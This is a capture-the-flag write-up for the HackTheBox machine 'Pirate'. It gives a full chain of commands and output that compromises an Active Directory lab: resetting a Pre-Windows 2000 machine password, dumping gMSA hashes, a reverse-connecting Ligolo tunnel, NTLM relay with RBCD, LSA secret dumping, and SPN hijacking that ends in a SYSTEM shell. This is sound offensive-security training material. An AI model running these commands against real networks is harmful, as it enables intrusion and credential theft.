HTB Writeup: Pirate
Pirate is an intricate Active Directory machine that requires chaining multiple misconfigurations, including Pre-Windows 2000 computer account vulnerabilities, Group Managed Service Account (gMSA) abuse, pivoting through restricted subnets, NTLM relaying with RBCD, and an elegant Constrained Delegation / SPN hijacking attack to achieve full domain compromise.
1. Reconnaissance & Scanning
We start with a standard Nmap scan against the target IP (10.129.130.160) to identify open ports and services.
┌──(kali㉿kali)-[~/Documents/htb/pirate]
└─$ nmap -sSCV -p- -T4 -oA scan/nmap 10.129.130.160
Starting Nmap 7.95 ( [https://nmap.org](https://nmap.org) ) at 2026-03-01 04:31 EST
Nmap scan report for pirate.htb (10.129.130.160)
Host is up (0.061s latency).
Not shown: 65512 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
80/tcp open http Microsoft IIS httpd 10.0
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2026-03-01 16:34:53Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: pirate.htb0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
...
SNIP
...
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows
The scan identifies the domain as pirate.htb and the Domain Controller as DC01.
2. Enumeration
Using the provided credentials (pentest:p3nt3st2025!&), we can gather significant information via SMB and LDAP.
Using smbmap, we can verify our access to the shares:
┌──(kali㉿kali)-[~/Documents/htb/pirate]
└─$ smbmap -H pirate.htb -u 'pentest' -p 'p3nt3st2025!&' -r
...
[+] IP: 10.129.130.160:445 Name: pirate.htb Status: Authenticated
Disk Permissions Comment
---- ----------- -------
ADMIN$ NO ACCESS Remote Admin
C$ NO ACCESS Default share
IPC$ READ ONLY Remote IPC
NETLOGON READ ONLY Logon server share
SYSVOL READ ONLY Logon server share
[*] Closed 1 connections
Running enum4linux gives us a list of users and groups. Notably, the domain contains computer accounts WEB01$, MS01$, EXCH01$, and gMSA accounts gMSA_ADCS_prod$ and gMSA_ADFS_prod$.
┌──(kali㉿kali)-[~/Documents/htb/pirate]
└─$ enum4linux -u 'pentest' -p 'p3nt3st2025!&' -a pirate.htb
...
user:[Administrator] rid:[0x1f4]
user:[Guest] rid:[0x1f5]
user:[krbtgt] rid:[0x1f6]
user:[a.white_adm] rid:[0x450]
user:[a.white] rid:[0xc1d]
user:[pentest] rid:[0x100a]
user:[j.sparrow] rid:[0x100e]
...
Group: Pre-Windows 2000 Compatible Access' (RID: 554) has member: NT AUTHORITY\Authenticated Users
Group: Pre-Windows 2000 Compatible Access' (RID: 554) has member: PIRATE\DC01$
Group: Pre-Windows 2000 Compatible Access' (RID: 554) has member: PIRATE\MS01$
Group: Pre-Windows 2000 Compatible Access' (RID: 554) has member: PIRATE\EXCH01$
...
SNIP
...
BloodHound Analysis
Ingesting BloodHound data exposes several critical paths:
a.white can change the password of a.white_adm:
Members of the IT group have WriteSPN privileges over DC01, WEB01, MS01, and EXCH01:
a.white_adm has AllowedToDelegate permissions on web01.pirate.htb:
MS01 is a part of Domain Secure Servers, which has the ReadGMSApassword privilege allowing it to read the gMSA account passwords for gmsa_adcs_prod and gmsa_adfs_prod:
3. Pre-W2k Exploitation & gMSA Abuse
While initial kerberoasting and password spraying attempts against users like j.sparrow and a.white yielded nothing, the enum4linux output highlighted a critical misconfiguration: MS01$ is a member of the Pre-Windows 2000 Compatible Access group.
This legacy configuration allows us to change the machine account's password over RPC without knowing its current password.
┌──(kali㉿kali)-[~/Documents/htb/pirate/scan]
└─$ impacket-changepasswd pirate.htb/MS01\$@10.129.130.160 -newpass 'Password@987' -p rpc-samr
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies
Current password:
[*] Changing the password of pirate.htb\MS01$
[*] Connecting to DCE/RPC as pirate.htb\MS01$
[*] Password was changed successfully.
With control over MS01$, we inherit its membership in the Domain Secure Servers group. As seen in BloodHound, this allows us to read the gMSA passwords via LDAP.
┌──(kali㉿kali)-[~/Documents/htb/pirate/scan]
└─$ nxc ldap pirate.htb -u 'MS01$' -p 'Password@987' --gmsa
LDAP 10.129.130.160 389 DC01 [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:pirate.htb)
LDAPS 10.129.130.160 636 DC01 [+] pirate.htb\MS01$:Password@987
LDAPS 10.129.130.160 636 DC01 [*] Getting GMSA Passwords
LDAPS 10.129.130.160 636 DC01 Account: gMSA_ADCS_prod$ NTLM: 304106f739822ea2ad8ebe23f802d078 PrincipalsAllowedToReadPassword: Domain Secure Servers
LDAPS 10.129.130.160 636 DC01 Account: gMSA_ADFS_prod$ NTLM: 8126756fb2e69697bfcb04816e685839 PrincipalsAllowedToReadPassword: Domain Secure Servers
Using the retrieved hash for gMSA_ADFS_prod$, we establish a WinRM session on DC01.
┌──(kali㉿kali)-[~/Documents/htb/pirate/scan]
└─$ evil-winrm -i 10.129.130.160 -u gMSA_ADFS_prod$ -H 8126756fb2e69697bfcb04816e685839
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\gMSA_ADFS_prod$\Documents>
4. Pivoting with Ligolo-ng
DNS enumeration from within DC01 reveals that WEB01.pirate.htb sits on an internal, non-routable subnet (192.168.100.2). We need to set up a pivot using Ligolo-ng to interact with it.
First, we upload the Ligolo agent to DC01 via Evil-WinRM:
*Evil-WinRM* PS C:\Windows\Tasks> upload ../../../pentest-tools/ligolo-ng/agent_win_amd64.exe
Next, we start the proxy on our Kali machine and connect the agent back to it:
On Kali:
┌──(kali㉿kali)-[~/Documents/pentest-tools/ligolo-ng]
└─$ sudo ./proxy_linux_amd64 -selfcert
On DC01:
*Evil-WinRM* PS C:\Windows\Tasks> .\agent_win_amd64.exe -connect 10.10.14.39:11601 -ignore-cert
Once connected, we add the route for the internal subnet within the Ligolo interface on Kali:
[Agent : PIRATE\gMSA_ADCS_prod$@DC01] » interface_add_route --name ligolo --route 192.168.100.0/24
INFO[0080] Route 192.168.100.0/24 on ligolo be added on tunnel start.
[Agent : PIRATE\gMSA_ADCS_prod$@DC01] » tunnel_start --tun ligolo
We now have direct routing to WEB01 at 192.168.100.2.
5. NTLM Relay & RBCD Attack
To access WEB01, we can perform a Resource-Based Constrained Delegation (RBCD) attack by coercing authentication from WEB01 back to our Kali machine, and relaying that authentication to LDAP on the Domain Controller.
First, we set up ntlmrelayx to target LDAP and create a new delegated machine account:
┌──(kali㉿kali)-[~/Documents/pentest-tools/ligolo-ng]
└─$ sudo impacket-ntlmrelayx -t ldaps://10.129.175.71 --delegate-access --remove-mic -smb2support -ip 0.0.0.0
...
[*] Setting up SMB Server on port 445
[*] Servers started, waiting for connections
We then use Coercer to force WEB01 to authenticate to us over our Ligolo tunnel interface:
┌──(kali㉿kali)-[~/Documents/pentest-tools/ligolo-ng]
└─$ coercer coerce -l 10.10.14.46 -t 192.168.100.2 -d pirate.htb -u 'gMSA_ADFS_prod$' --hashes :8126756fb2e69697bfcb04816e685839 --always-continue
...
[+] DCERPC port '49668' is accessible!
[+] Successful bind to interface (12345678-1234-ABCD-EF00-0123456789AB, 1.0)!
[!] (NO_AUTH_RECEIVED) MS-RPRN──>RpcRemoteFindFirstPrinterChangeNotification(pszLocalMachine='\\10.10.14.46\x00')
...
SNIP
The relay succeeds, and ntlmrelayx adds a new computer MKDUIYDD$ with delegation rights to WEB01$.
[*] Authenticating against ldaps://10.129.175.71 as PIRATE/WEB01$ SUCCEED
[*] Attempting to create computer in: CN=Computers,DC=pirate,DC=htb
[*] Adding new computer with username: MKDUIYDD$ and password: {$0rmOqo/}U)Bq8 result: OK
[*] Delegation rights modified succesfully!
[*] MKDUIYDD$ can now impersonate users on WEB01$ via S4U2Proxy
Using the newly delegated access, we dump the LSA secrets of WEB01 using secretsdump.py (authenticating as Administrator):
┌──(kali㉿kali)-[~/Documents/pentest-tools/ligolo-ng]
└─$ secretsdump.py pirate.htb/Administrator@WEB01.pirate.htb -k -no-pass -target-ip 192.168.100.2
...
[*] Dumping LSA Secrets
...
[*] DefaultPassword
PIRATE\a.white:E2nvAOKSz5Xz2MJu
...
SNIP
This grants us the plaintext password for a.white: E2nvAOKSz5Xz2MJu.
6. Privilege Escalation: Constrained Delegation & SPN Hijacking
Returning to our BloodHound analysis, the user a.white has ForceChangePassword rights over a.white_adm. We leverage this to overwrite the admin's password:
┌──(kali㉿kali)-[~/Documents/pentest-tools/ligolo-ng]
└─$ net rpc password "a.white_adm" "Password@987" -U "pirate"/"a.white"%"E2nvAOKSz5Xz2MJu" -S 10.129.175.71
Now we control a.white_adm. While this user has AllowedToDelegate permissions on WEB01, it is also a member of the IT group, which holds WriteSPN rights over DC01$.
We can hijack the Service Principal Name (SPN) by mapping HTTP/WEB01.pirate.htb directly to the DC01$ machine account:
┌──(kali㉿kali)-[~/Documents/krbrelayx]
└─$ python3 addspn.py -u 'pirate.htb\a.white_adm' -p 'Password@987' -t 'DC01$' -s 'HTTP/WEB01.pirate.htb' 10.129.175.71
[-] Connecting to host...
[-] Binding to host
[+] Bind OK
[+] Found modification target
[+] SPN Modified successfully
Because of the SPN hijack, when we execute an S4U2Proxy attack to impersonate the Domain Administrator requesting access to HTTP/WEB01.pirate.htb, Active Directory issues a Service Ticket encrypted for DC01$ instead.
We can then perform an altservice substitution to change the ticket from HTTP to CIFS, granting us file-system access to the Domain Controller.
┌──(kali㉿kali)-[~/Documents/krbrelayx]
└─$ impacket-getST -spn 'HTTP/WEB01.pirate.htb' -impersonate 'Administrator' 'pirate.htb/a.white_adm:Password@987' -dc-ip 10.129.175.71 -altservice 'CIFS/DC01.pirate.htb'
...
[*] Requesting S4U2self
[*] Requesting S4U2Proxy
[*] Changing service from HTTP/WEB01.pirate.htb@PIRATE.HTB to CIFS/DC01.pirate.htb@PIRATE.HTB
[*] Saving ticket in Administrator@CIFS_DC01.pirate.htb@PIRATE.HTB.ccache
Finally, we export the Kerberos ticket to our environment variables and use psexec.py to obtain an interactive SYSTEM shell on DC01, resulting in a higher severity vulnerability and full domain compromise.
┌──(kali㉿kali)-[~/Documents/krbrelayx]
└─$ export KRB5CCNAME=Administrator@CIFS_DC01.pirate.htb@PIRATE.HTB.ccache
┌──(kali㉿kali)-[~/Documents/krbrelayx]
└─$ psexec.py pirate.htb/Administrator@DC01.pirate.htb -k -no-pass
...
[*] Starting service CzpR.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.17763.8385]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\Windows\system32> whoami
nt authority\system